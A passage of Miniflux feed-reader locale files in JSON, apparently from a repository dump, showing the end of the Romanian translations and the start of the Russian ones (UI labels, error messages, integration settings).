\"Utilizare Bază de Date\",\n    \"page.about.git_commit\": \"Git Commit:\",\n    \"page.about.global_config_options\": \"Opțiuni globale de configurare\",\n    \"page.about.go_version\": \"Versiune Go:\",\n    \"page.about.license\": \"Licență:\",\n    \"page.about.postgres_version\": \"Versiune Postgres:\",\n    \"page.about.title\": \"Despre\",\n    \"page.about.version\": \"Versiune:\",\n    \"page.add_feed.choose_feed\": \"Alegeți un flux\",\n    \"page.add_feed.label.url\": \"URL\",\n    \"page.add_feed.legend.advanced_options\": \"Opțiuni Avansate\",\n    \"page.add_feed.no_category\": \"Nu există categorii. Trebuie să aveți măcar o categorie.\",\n    \"page.add_feed.submit\": \"Găsește un flux\",\n    \"page.add_feed.title\": \"Flux nou\",\n    \"page.api_keys.never_used\": \"Niciodată Utilizată\",\n    \"page.api_keys.table.actions\": \"Acțiuni\",\n    \"page.api_keys.table.created_at\": \"Dată Creare\",\n    \"page.api_keys.table.description\": \"Descriere\",\n    \"page.api_keys.table.last_used_at\": \"Utilizat ultima dată\",\n    \"page.api_keys.table.token\": \"Token\",\n    \"page.api_keys.title\": \"Chei API\",\n    \"page.categories.entries\": \"Intrări\",\n    \"page.categories.feed_count\": [\n        \"Este %d flux.\",\n        \"Sunt %d fluxuri.\",\n        \"Sunt %d fluxuri găsite.\"\n    ],\n    \"page.categories.feeds\": \"Fluxuri\",\n    \"page.categories.no_feed\": \"Nici un flux.\",\n    \"page.categories.title\": \"Categorii\",\n    \"page.categories_count\": [\n        \"%d categorie\",\n        \"%d categorii\",\n        \"%d categorie găsită\"\n    ],\n    \"page.category_label\": \"Categorie: %s\",\n    \"page.edit_category.title\": \"Editare Categorie: %s\",\n    \"page.edit_feed.etag_header\": \"Antet ETag:\",\n    \"page.edit_feed.last_check\": \"Ultima verificare:\",\n    \"page.edit_feed.last_modified_header\": \"UltimaModificare antet:\",\n    \"page.edit_feed.last_parsing_error\": \"Ultima Eroare la Analiză\",\n    \"page.edit_feed.no_header\": \"Nimic\",\n    \"page.edit_feed.title\": \"Editare Flux: %s\",\n    \"page.edit_user.title\": \"Editare Utilizator: %s\",\n    \"page.entry.attachments\": \"Atașamente\",\n    \"page.feeds.error_count\": [\n        \"%d eroare\",\n        \"%d erori\",\n        \"%d erori găsite\"\n    ],\n    \"page.feeds.last_check\": \"Ultima verificare:\",\n    \"page.feeds.next_check\": \"Următoarea verificare:\",\n    \"page.feeds.read_counter\": \"Numărul de intrări citite\",\n    \"page.feeds.title\": \"Fluxuri\",\n    \"page.footer.elevator\": \"Înapoi sus\",\n    \"page.history.title\": \"Istoric\",\n    \"page.import.title\": \"Import\",\n    \"page.integration.bookmarklet\": \"Marcaje\",\n    \"page.integration.bookmarklet.help\": \"Această legătură specială permite să vă abonați direct pe un site prin utilizarea unui marcaj în browser-ul web.\",\n    \"page.integration.bookmarklet.instructions\": \"Trageți legătura în favorite.\",\n    \"page.integration.bookmarklet.name\": \"Adaugă în Miniflux\",\n    \"page.integration.miniflux_api\": \"API Miniflux\",\n    \"page.integration.miniflux_api_endpoint\": \"Punct de acces API\",\n    \"page.integration.miniflux_api_password\": \"Parolă\",\n    \"page.integration.miniflux_api_password_value\": \"Parola contului\",\n    \"page.integration.miniflux_api_username\": \"Utilizator\",\n    \"page.integrations.title\": \"Integrări\",\n    \"page.keyboard_shortcuts.close_modal\": \"Închide fereastra de dialog\",\n    \"page.keyboard_shortcuts.download_content\": \"Descarcă conținutul original\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Du-te la ultimul obiect\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Du-te la categorii\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Du-te la flux\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Du-te la fluxuri\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Du-te la istoric\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Du-te la obiectul următor\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Du-te la pagina următoare\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Du-te la obiectul anterior\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Du-te la pagina anterioară\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Focusul pe formularul de căutare\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Du-te la setări\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Du-te la marcat\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Du-te la primul obiect\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Du-te la necitit\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Marchează pagina curentă ca citită\",\n    \"page.keyboard_shortcuts.open_comments\": \"Deschide comentariile link-ului\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Deschide comentariile link-ului în tab-ul curent\",\n    \"page.keyboard_shortcuts.open_item\": \"Deschide obiectul selectat\",\n    \"page.keyboard_shortcuts.open_original\": \"Deschide link-ul original\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Deschide link-ul original în tab-ul curent\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Reîncarcă toate fluxurile în fundal\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Elimină acest flux\",\n    \"page.keyboard_shortcuts.save_article\": \"Salvare înregistrare\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Derulează obiectul la început\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Afișează scurtăturile tastaturii\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Acțiuni\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Navigare Obiecte\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Navigare Pagini\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Navigare Secțiuni\",\n    \"page.keyboard_shortcuts.title\": \"Scurtături Tastatură\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Comută marcate\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Comută deschis/închis pe atașamentele înregistrării\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Comută citit/necitit focus următor\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Comută citit/necitit, focus anterior\",\n    \"page.login.google_signin\": \"Conectare cu Google\",\n    \"page.login.oidc_signin\": \"Conectare cu %s\",\n    \"page.login.title\": \"Conectare\",\n    \"page.login.webauthn_login\": \"Conectare cu cheia de acces\",\n    \"page.login.webauthn_login.error\": \"Eroare la conectarea cu cheia de acces\",\n    \"page.login.webauthn_login.help\": \"Vă rog să introduceți numele utilizatorului dacă utilizați o cheie. Nu este necesară dacă utilizați o cheie de acces (credențiale descoperibile).\",\n    \"page.new_api_key.title\": \"Cheie API Nouă\",\n    \"page.new_category.title\": \"Categorie Nouă\",\n    \"page.new_user.title\": \"Utilizator Nou\",\n    \"page.offline.message\": \"Sunteți offline\",\n    \"page.offline.refresh_page\": \"Încercați să reîmprospătați pagina\",\n    \"page.offline.title\": \"Mod Offline\",\n    \"page.read_entry_count\": [\n        \"%d înregistrare citită\",\n        \"%d înregistrări citite\",\n        \"%d înregistrări citite\"\n    ],\n    \"page.search.title\": \"Rezultate Căutare\",\n    \"page.sessions.table.actions\": \"Acțiuni\",\n    \"page.sessions.table.current_session\": \"Sesiunea Curentă\",\n    \"page.sessions.table.date\": \"Dată\",\n    \"page.sessions.table.ip\": \"Adresă IP\",\n    \"page.sessions.table.user_agent\": \"Agent Utilizator\",\n    \"page.sessions.title\": \"Sesiuni\",\n    \"page.settings.link_google_account\": \"Atașează contul personal Google\",\n    \"page.settings.link_oidc_account\": \"Atașează contul meu %s\",\n    \"page.settings.title\": \"Setări\",\n    \"page.settings.unlink_google_account\": \"Decuplează contul personal Google\",\n    \"page.settings.unlink_oidc_account\": \"Decuplează contul meu %s\",\n    \"page.settings.webauthn.actions\": \"Acțiuni\",\n    \"page.settings.webauthn.added_on\": \"Adăugată în\",\n    \"page.settings.webauthn.delete\": [\n        \"Elimină %d cheie de acces\",\n        \"Elimină %d chei de acces\",\n        \"Elimină %d chei de acces\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Utilizat ultima dată\",\n    \"page.settings.webauthn.passkey_name\": \"Nume cheie acces\",\n    \"page.settings.webauthn.passkeys\": \"Chei Acces\",\n    \"page.settings.webauthn.register\": \"Înregistrare cheie acces\",\n    \"page.settings.webauthn.register.error\": \"Eroare la înregistrarea cheii de acces\",\n    \"page.shared_entries.title\": \"Înregistrări partajate\",\n    \"page.shared_entries_count\": [\n        \"%d înregistrare partajată\",\n        \"%d înregistrări partajate\",\n        \"%d înregistrări partajate\"\n    ],\n    \"page.starred.title\": \"Marcate\",\n    \"page.starred_entry_count\": [\n        \"%d înregistrare marcată\",\n        \"%d Înregistrări marcate\",\n        \"%d Înregistrări marcate\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d intrare în total\",\n        \"%d intrări în total\",\n        \"%d intrări în total\"\n    ],\n    \"page.unread.title\": \"Necitite\",\n    \"page.unread_entry_count\": [\n        \"%d înregistrare necitită\",\n        \"%d înregistrări necitite\",\n        \"%d înregistrări necitite\"\n    ],\n    \"page.users.actions\": \"Acțiuni\",\n    \"page.users.admin.no\": \"Nu\",\n    \"page.users.admin.yes\": \"Da\",\n    \"page.users.is_admin\": \"Administrator\",\n    \"page.users.last_login\": \"Ultima Conectare\",\n    \"page.users.never_logged\": \"Niciodată\",\n    \"page.users.title\": \"Utilizatori\",\n    \"page.users.username\": \"Nume\",\n    \"page.webauthn_rename.title\": \"Redenumire Cheie Acces\",\n    \"pagination.first\": \"Prima\",\n    \"pagination.last\": \"Ultima\",\n    \"pagination.next\": \"Următor\",\n    \"pagination.previous\": \"Anterior\",\n    \"search.label\": \"Caută\",\n    \"search.placeholder\": \"Caută…\",\n    \"search.submit\": \"Caută\",\n    \"skip_to_content\": \"Sari la conținut\",\n    \"time_elapsed.days\": [\n        \"%d zi în urmă\",\n        \"%d zile în urmă\",\n        \"%d zile în urmă\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d oră în urmă\",\n        \"%d ore în urmă\",\n        \"%d ore în urmă\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d minut în urmă\",\n        \"%d minute în urmă\",\n        \"%d minute în urmă\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d lună în urmă\",\n        \"%d luni în urmă\",\n        \"%d luni în urmă\"\n    ],\n    \"time_elapsed.not_yet\": \"încă nu\",\n    \"time_elapsed.now\": \"chiar acum\",\n    \"time_elapsed.weeks\": [\n        \"%d săptămână în urmă\",\n        \"%d săptămâni în urmă\",\n        \"%d săptămâni în urmă\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d an în urmă\",\n        \"%d ani în urmă\",\n        \"%d ani în urmă\"\n    ],\n    \"time_elapsed.yesterday\": \"ieri\",\n    \"tooltip.keyboard_shortcuts\": \"Scurtături Tastatură: %s\",\n    \"tooltip.logged_user\": \"Atentificat ca %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/ru_RU.json",
    "content": "{\n    \"action.cancel\": \"закрыть\",\n    \"action.download\": \"Загрузить\",\n    \"action.edit\": \"Изменить\",\n    \"action.home_screen\": \"Добавить на домашний экран\",\n    \"action.import\": \"Импорт\",\n    \"action.login\": \"Войти\",\n    \"action.or\": \"или\",\n    \"action.remove\": \"Удалить\",\n    \"action.remove_feed\": \"Удалить эту подписку\",\n    \"action.save\": \"Сохранить\",\n    \"action.subscribe\": \"Подписаться\",\n    \"action.update\": \"Обновить\",\n    \"alert.account_linked\": \"Ваш внешний аккаунт теперь привязан!\",\n    \"alert.account_unlinked\": \"Ваш внешний аккаунт теперь отвязан!\",\n    \"alert.background_feed_refresh\": \"Все подписки обновляются в фоновом режиме. Вы можете продолжать использовать Miniflux пока идёт этот процесс.\",\n    \"alert.feed_error\": \"С этой подпиской есть проблема\",\n    \"alert.no_starred\": \"Избранное отсутствует.\",\n    \"alert.no_category\": \"Категории отсутствуют.\",\n    \"alert.no_category_entry\": \"В этой категории нет статей.\",\n    \"alert.no_feed\": \"У вас нет ни одной подписки.\",\n    \"alert.no_feed_entry\": \"В этой подписке отсутствуют статьи.\",\n    \"alert.no_feed_in_category\": \"Для этой категории нет подписки.\",\n    \"alert.no_history\": \"Истории пока что нет.\",\n    \"alert.no_search_result\": \"Нет результатов для данного поискового запроса.\",\n    \"alert.no_shared_entry\": \"Общедоступные статьи отсутствуют.\",\n    \"alert.no_tag_entry\": \"Нет записей, соответствующих этому тегу.\",\n    \"alert.no_unread_entry\": \"Нет непрочитанных статей.\",\n    \"alert.no_user\": \"Вы единственный пользователь.\",\n    \"alert.prefs_saved\": \"Предпочтения сохранены!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Вы запустили слишком много обновлений подписок. Подождите %d минуту для нового запуска\",\n        \"Вы запустили слишком много обновлений подписок. Подождите %d минут для нового запуска\",\n        \"Вы запустили слишком много обновлений подписок. Подождите %d минут для нового запуска\"\n    ],\n    \"confirm.loading\": \"В процессе…\",\n    \"confirm.no\": \"нет\",\n    \"confirm.question\": \"Вы уверены?\",\n    \"confirm.question.refresh\": \"Вы хотите выполнить принудительное обновление?\",\n    \"confirm.yes\": \"да\",\n    \"enclosure_media_controls.seek\": \"Перемотка:\",\n    \"enclosure_media_controls.seek.title\": \"Перемотать на %s секунд\",\n    \"enclosure_media_controls.speed\": \"Скорость:\",\n    \"enclosure_media_controls.speed.faster\": \"Быстрее\",\n    \"enclosure_media_controls.speed.faster.title\": \"Ускорить в %s раз\",\n    \"enclosure_media_controls.speed.reset\": \"Сбросить\",\n    \"enclosure_media_controls.speed.reset.title\": \"Сбросить скорость до 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Медленнее\",\n    \"enclosure_media_controls.speed.slower.title\": \"Замедлить в %s раз\",\n    \"entry.starred.toast.off\": \"Без пометок\",\n    \"entry.starred.toast.on\": \"Помеченные\",\n    \"entry.starred.toggle.off\": \"Удалить из Избранного\",\n    \"entry.starred.toggle.on\": \"Добавить в Избранное\",\n    \"entry.comments.label\": \"Комментарии\",\n    \"entry.comments.title\": \"Показать комментарии\",\n    \"entry.estimated_reading_time\": [\n        \"%d минута чтения\",\n        \"%d минуты чтения\",\n        \"%d минут чтения\"\n    ],\n    \"entry.external_link.label\": \"Внешняя ссылка\",\n    \"entry.save.completed\": \"Готово!\",\n    \"entry.save.label\": \"Сохранить\",\n    \"entry.save.title\": \"Сохранить эту статью\",\n    \"entry.save.toast.completed\": \"Статья сохранена\",\n    \"entry.scraper.completed\": \"Готово!\",\n    \"entry.scraper.label\": \"Скачать\",\n    \"entry.scraper.title\": \"Извлечь оригинальное содержимое\",\n    \"entry.share.label\": \"Поделиться\",\n    \"entry.share.title\": \"Поделиться этой статьёй\",\n    \"entry.shared_entry.label\": \"Поделиться\",\n    \"entry.shared_entry.title\": \"Открыть публичную ссылку\",\n    \"entry.state.loading\": \"Загрузка…\",\n    \"entry.state.saving\": \"Сохранение…\",\n    \"entry.status.mark_as_read\": \"Отметить как прочитанное\",\n    \"entry.status.mark_as_unread\": \"Пометить как непрочитанное\",\n    \"entry.status.title\": \"Изменить статус записи\",\n    \"entry.status.toast.read\": \"Помечено как прочитанное\",\n    \"entry.status.toast.unread\": \"Помечено как непрочитанное\",\n    \"entry.tags.label\": \"Теги:\",\n    \"entry.tags.more_tags_label\": [\n        \"Ещё %d тег\",\n        \"Ещё %d тега\",\n        \"Ещё %d тегов\"\n    ],\n    \"entry.unshare.label\": \"Удалить из общедоступных\",\n    \"error.api_key_already_exists\": \"Этот API-ключ уже существует.\",\n    \"error.bad_credentials\": \"Неверное имя пользователя или пароль.\",\n    \"error.category_already_exists\": \"Эта категория уже существует.\",\n    \"error.category_not_found\": \"Эта категория не существует или не принадлежит этому пользователю.\",\n    \"error.database_error\": \"Ошибка базы данных: %v.\",\n    \"error.different_passwords\": \"Пароли не совпадают.\",\n    \"error.duplicate_fever_username\": \"Уже есть кто-то с таким же именем пользователя Fever!\",\n    \"error.duplicate_googlereader_username\": \"Уже есть кто-то с таким же именем пользователя Google Reader!\",\n    \"error.duplicate_linked_account\": \"Уже есть кто-то, кто ассоциирован с этим аккаунтом!\",\n    \"error.duplicated_feed\": \"Эта подписка уже существует.\",\n    \"error.empty_file\": \"Этот файл пуст.\",\n    \"error.entries_per_page_invalid\": \"Недопустимое значение количества записей на странице.\",\n    \"error.feed_already_exists\": \"Эта подписка уже существует.\",\n    \"error.feed_category_not_found\": \"Эта категория не существует или не принадлежит этому пользователю.\",\n    \"error.feed_format_not_detected\": \"Не удалось определить формат подписки: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"Правило черного списка некорректно.\",\n    \"error.feed_invalid_keeplist_rule\": \"Правило белого списка некорректно.\",\n    \"error.feed_mandatory_fields\": \"Ссылка и категория обязательны.\",\n    \"error.feed_not_found\": \"Эта подписка не существует или не принадлежит этому пользователю.\",\n    \"error.feed_title_not_empty\": \"Заголовок подписки не может быть пустым.\",\n    \"error.feed_url_not_empty\": \"URL-адрес подписки не может быть пустым.\",\n    \"error.fields_mandatory\": \"Все поля обязательны.\",\n    \"error.http_bad_gateway\": \"В данный момент сайт недоступен из-за ошибки шлюза. Проблема не связана с Miniflux. Пожалуйста, попробуйте позже.\",\n    \"error.http_body_read\": \"Невозможно прочитать тело HTTP-сообщения: %v.\",\n    \"error.http_client_error\": \"Ошибка HTTP-клиента: %v.\",\n    \"error.http_empty_response\": \"Пустой ответ HTTP. Возможно этот сайт использует защиту от ботов?\",\n    \"error.http_empty_response_body\": \"Пустое тело HTTP-ответа.\",\n    \"error.http_forbidden\": \"Доступ к сайту запрещён. Возможно этот сайт использует защиту от ботов?\",\n    \"error.http_gateway_timeout\": \"В данный момент сайт недоступен из-за превышения времени ожидания ответа от шлюза. Проблема не связана с Miniflux. Пожалуйста, попробуйте позже.\",\n    \"error.http_internal_server_error\": \"В данный момент сайт недоступен из-за ошибки сервера. Проблема не связана с Miniflux. Пожалуйста, попробуйте позже.\",\n    \"error.http_not_authorized\": \"Доступ к сайту запрещён. Возможно используется неправильное имя пользователя или пароль.\",\n    \"error.http_resource_not_found\": \"Запрашиваемый ресурс не найден. Пожалуйста, проверьте URL.\",\n    \"error.http_response_too_large\": \"Превышен размер HTTP-ответа. Вы можете увеличить лимит размера HTTP-ответа в настройках (для применения новых настроек потребуется перезагрузка приложения).\",\n    \"error.http_service_unavailable\": \"В данный момент сайт недоступен из-за ошибки сервера. Проблема не связана с Miniflux. Пожалуйста, попробуйте позже.\",\n    \"error.http_too_many_requests\": \"Miniflux отправил слишком много запросов к этому сайту. Пожалуйста, попробуйте позже или измените настройки приложения.\",\n    \"error.http_unexpected_status_code\": \"В данный момент сайт недоступен из-за непредвиденного кода HTTP-ответа: %d. Проблема не связана с Miniflux. Пожалуйста, попробуйте позже.\",\n    \"error.invalid_categories_sorting_order\": \"Недопустимый порядок сортировки категорий.\",\n    \"error.invalid_default_home_page\": \"Недопустимая домашняя страница по умолчанию!\",\n    \"error.invalid_display_mode\": \"Недопустимый режим отображения веб-приложения.\",\n    \"error.invalid_entry_direction\": \"Недопустимая сортировка записей.\",\n    \"error.invalid_entry_order\": \"Недопустимый порядок статей.\",\n    \"error.invalid_feed_proxy_url\": \"Недействительный URL прокси.\",\n    \"error.invalid_feed_url\": \"Недействительная ссылка подписки.\",\n    \"error.invalid_gesture_nav\": \"Недопустимая навигация жестами.\",\n    \"error.invalid_language\": \"Недопустимый язык.\",\n    \"error.invalid_site_url\": \"Недействительный ссылка сайта.\",\n    \"error.invalid_theme\": \"Недопустимая тема.\",\n    \"error.invalid_timezone\": \"Недопустимый часовой пояс.\",\n    \"error.network_operation\": \"Miniflux не может открыть сайт из-за ошибки сети: %v.\",\n    \"error.network_timeout\": \"Этот сайт слишком медленный и время ожидания запроса истекло: %v\",\n    \"error.password_min_length\": \"Вы должны использовать минимум 6 символов.\",\n    \"error.proxy_url_not_empty\": \"URL прокси не может быть пустым.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Недопустимое правило блокировки: у правила #%d отсутствует корректное имя поля (Возможные варианты: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Недопустимое правило блокировки: шаблон правила #%d не является корректным регулярным выражением\",\n    \"error.settings_block_rule_regex_required\": \"Недопустимое правило блокировки: не указан шаблон для правила #%d\",\n    \"error.settings_block_rule_separator_required\": \"Недопустимое правило блокировки: шаблон правила #%d должен быть отделен символом '='\",\n    \"error.settings_invalid_domain_list\": \"Недопустимый список доменов. Пожалуйста, укажите список доменов, разделенных пробелами.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Недопустимое правило сохранения: у правила #%d отсутствует корректное имя поля (Возможные варианты: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Недопустимое правило сохранения: шаблон правила #%d не является корректным регулярным выражением\",\n    \"error.settings_keep_rule_regex_required\": \"Недопустимое правило сохранения: не указан шаблон для правила #%d\",\n    \"error.settings_keep_rule_separator_required\": \"Недопустимое правило сохранения: шаблон правила #%d должен быть отделен символом '='\",\n    \"error.settings_mandatory_fields\": \"Имя пользователя, тема, язык и часовой пояс обязательны.\",\n    \"error.settings_media_playback_rate_range\": \"Скорость воспроизведения выходит за пределы диапазона\",\n    \"error.settings_reading_speed_is_positive\": \"Скорость чтения должна быть целым положительным числом.\",\n    \"error.site_url_not_empty\": \"Ссылка на сайт не может быть пустой.\",\n    \"error.subscription_not_found\": \"Не удалось найти подписки.\",\n    \"error.title_required\": \"Название обязательно.\",\n    \"error.tls_error\": \"Ошибка TLS: %q. Вы можете отключить проверку TLS в настройках подписки.\",\n    \"error.unable_to_create_api_key\": \"Невозможно создать этот API-ключ.\",\n    \"error.unable_to_create_category\": \"Не удалось создать эту категорию.\",\n    \"error.unable_to_create_user\": \"Не удалось создать этого пользователя.\",\n    \"error.unable_to_detect_rssbridge\": \"Не удалось обнаружить подписку с помощью RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"Не удалось обработать эту подписку: %v.\",\n    \"error.unable_to_update_category\": \"Не удалось обновить эту категорию.\",\n    \"error.unable_to_update_feed\": \"Не удалось обновить эту подписку.\",\n    \"error.unable_to_update_user\": \"Не удалось обновить этого пользователя.\",\n    \"error.unlink_account_without_password\": \"Вы должны установить пароль, иначе вы не сможете войти снова.\",\n    \"error.user_already_exists\": \"Этот пользователь уже существует.\",\n    \"error.user_mandatory_fields\": \"Имя пользователя обязательно.\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token и Organization Slug обязательны\",\n    \"form.api_key.label.description\": \"Описание API-ключа\",\n    \"form.category.hide_globally\": \"Скрыть записи в глобальном списке непрочитанных\",\n    \"form.category.label.title\": \"Название\",\n    \"form.feed.fieldset.general\": \"Общие\",\n    \"form.feed.fieldset.integration\": \"Сторонние сервисы\",\n    \"form.feed.fieldset.network_settings\": \"Настройки сети\",\n    \"form.feed.fieldset.rules\": \"Правила\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Разрешить самоподписанные или недействительные сертификаты\",\n    \"form.feed.label.apprise_service_urls\": \"Список ссылок сервисов Apprise, разделенный запятой\",\n    \"form.feed.label.block_filter_entry_rules\": \"Правила блокировки записей\",\n    \"form.feed.label.blocklist_rules\": \"Фильтры блокировки на основе регулярных выражений\",\n    \"form.feed.label.category\": \"Категория\",\n    \"form.feed.label.cookie\": \"Установить куки\",\n    \"form.feed.label.crawler\": \"Извлечь оригинальное содержимое\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Описание\",\n    \"form.feed.label.disable_http2\": \"Отключить HTTP/2 для предотвращения фингерпринтинга\",\n    \"form.feed.label.disabled\": \"Не обновлять эту подписку\",\n    \"form.feed.label.feed_password\": \"Пароль подписки\",\n    \"form.feed.label.feed_url\": \"Адрес подписки\",\n    \"form.feed.label.feed_username\": \"Имя пользователя подписки\",\n    \"form.feed.label.fetch_via_proxy\": \"Использовать прокси, настроенный на уровне приложения\",\n    \"form.feed.label.hide_globally\": \"Скрыть записи в глобальном списке непрочитанных\",\n    \"form.feed.label.ignore_http_cache\": \"Игнорировать HTTP кеш\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Правила разрешения записей\",\n    \"form.feed.label.keeplist_rules\": \"Фильтры сохранения на основе регулярных выражений\",\n    \"form.feed.label.no_media_player\": \"Отключить медиаплеер (аудио и видео)\",\n    \"form.feed.label.ntfy_activate\": \"Отправлять статьи в ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"По умолчанию\",\n    \"form.feed.label.ntfy_high_priority\": \"Высший\",\n    \"form.feed.label.ntfy_low_priority\": \"Низкий\",\n    \"form.feed.label.ntfy_max_priority\": \"Высокий\",\n    \"form.feed.label.ntfy_min_priority\": \"Минимальный\",\n    \"form.feed.label.ntfy_priority\": \"Приоритет ntfy\",\n    \"form.feed.label.ntfy_topic\": \"Топик ntfy (опционально)\",\n    \"form.feed.label.proxy_url\": \"URL прокси\",\n    \"form.feed.label.pushover_activate\": \"Отправлять статьи в pushover.net\",\n    \"form.feed.label.pushover_default_priority\": \"По умолчанию\",\n    \"form.feed.label.pushover_high_priority\": \"Высокий\",\n    \"form.feed.label.pushover_low_priority\": \"Низкий\",\n    \"form.feed.label.pushover_max_priority\": \"Высший\",\n    \"form.feed.label.pushover_min_priority\": \"Минимальный\",\n    \"form.feed.label.pushover_priority\": \"Приоритет сообщений Pushover\",\n    \"form.feed.label.rewrite_rules\": \"Правила переписывания содержимого\",\n    \"form.feed.label.scraper_rules\": \"Правила сборщика\",\n    \"form.feed.label.site_url\": \"Адрес сайта\",\n    \"form.feed.label.title\": \"Название\",\n    \"form.feed.label.urlrewrite_rules\": \"Правила перезаписи URL\",\n    \"form.feed.label.user_agent\": \"Переопределить User-Agent по умолчанию\",\n    \"form.feed.label.webhook_url\": \"Переопределить URL вебхука\",\n    \"form.import.label.file\": \"OPML файл\",\n    \"form.import.label.url\": \"Ссылка\",\n    \"form.integration.archiveorg_activate\": \"Отправить статьи в archive.org\",\n    \"form.integration.apprise_activate\": \"Отправить статьи в Apprise\",\n    \"form.integration.apprise_services_url\": \"Список ссылок сервисов Apprise, разделенный запятой\",\n    \"form.integration.apprise_url\": \"Ссылка на Apprise API\",\n    \"form.integration.betula_activate\": \"Сохранять статьи в Betula\",\n    \"form.integration.betula_token\": \"Токен Betula\",\n    \"form.integration.betula_url\": \"Адрес сервера Betula\",\n    \"form.integration.cubox_activate\": \"Сохранять статьи в Cubox\",\n    \"form.integration.cubox_api_link\": \"Ссылка на Cubox API\",\n    \"form.integration.discord_activate\": \"Отправить статьи в Discord\",\n    \"form.integration.discord_webhook_link\": \"Ссылка на Discord Webhook\",\n    \"form.integration.espial_activate\": \"Сохранять статьи в Espial\",\n    \"form.integration.espial_api_key\": \"API-ключ Espial\",\n    \"form.integration.espial_endpoint\": \"Конечная точка Espial API\",\n    \"form.integration.espial_tags\": \"Теги Espial\",\n    \"form.integration.fever_activate\": \"Активировать Fever API\",\n    \"form.integration.fever_endpoint\": \"Конечная точка Fever API:\",\n    \"form.integration.fever_password\": \"Пароль Fever\",\n    \"form.integration.fever_username\": \"Имя пользователя Fever\",\n    \"form.integration.googlereader_activate\": \"Активировать Google Reader API\",\n    \"form.integration.googlereader_endpoint\": \"Конечная точка Google Reader API:\",\n    \"form.integration.googlereader_password\": \"Пароль Google Reader\",\n    \"form.integration.googlereader_username\": \"Имя пользователя Google Reader\",\n    \"form.integration.instapaper_activate\": \"Сохранять статьи в Instapaper\",\n    \"form.integration.instapaper_password\": \"Пароль Instapaper\",\n    \"form.integration.instapaper_username\": \"Имя пользователя Instapaper\",\n    \"form.integration.karakeep_activate\": \"Сохранять статьи в Karakeep\",\n    \"form.integration.karakeep_api_key\": \"API-ключ Karakeep\",\n    \"form.integration.karakeep_url\": \"Конечная точка Karakeep API\",\n    \"form.integration.karakeep_tags\": \"Karakeep Tags\",\n    \"form.integration.linkace_activate\": \"Сохранять статьи в LinkAce\",\n    \"form.integration.linkace_api_key\": \"API-ключ LinkAce\",\n    \"form.integration.linkace_check_disabled\": \"Отключить проверку ссылок\",\n    \"form.integration.linkace_endpoint\": \"Конечная точка LinkAce API\",\n    \"form.integration.linkace_is_private\": \"Отмечать ссылки как приватные\",\n    \"form.integration.linkace_tags\": \"Теги LinkAce\",\n    \"form.integration.linkding_activate\": \"Сохранять статьи в Linkding\",\n    \"form.integration.linkding_api_key\": \"API-ключ Linkding\",\n    \"form.integration.linkding_bookmark\": \"Помечать закладки как непрочитанное\",\n    \"form.integration.linkding_endpoint\": \"Конечная точка Linkding API\",\n    \"form.integration.linkding_tags\": \"Теги Linkding\",\n    \"form.integration.linktaco_activate\": \"Сохранять статьи в LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco API Token\",\n    \"form.integration.linktaco_api_token_hint\": \"Получить ваш персональный токен доступа на\",\n    \"form.integration.linktaco_org_slug\": \"Слаг организации\",\n    \"form.integration.linktaco_tags\": \"Теги (макс. 10, через запятую)\",\n    \"form.integration.linktaco_tags_hint\": \"Максимум 10 тегов, через запятую\",\n    \"form.integration.linktaco_visibility\": \"Видимость\",\n    \"form.integration.linktaco_visibility_public\": \"Публично\",\n    \"form.integration.linktaco_visibility_private\": \"Приватно\",\n    \"form.integration.linktaco_visibility_hint\": \"ПРИВАТНАЯ видимость требует платного аккаунта LinkTaco\",\n    \"form.integration.linkwarden_activate\": \"Сохранять статьи в Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"API-ключ Linkwarden\",\n    \"form.integration.linkwarden_endpoint\": \"Базовый URL-адрес 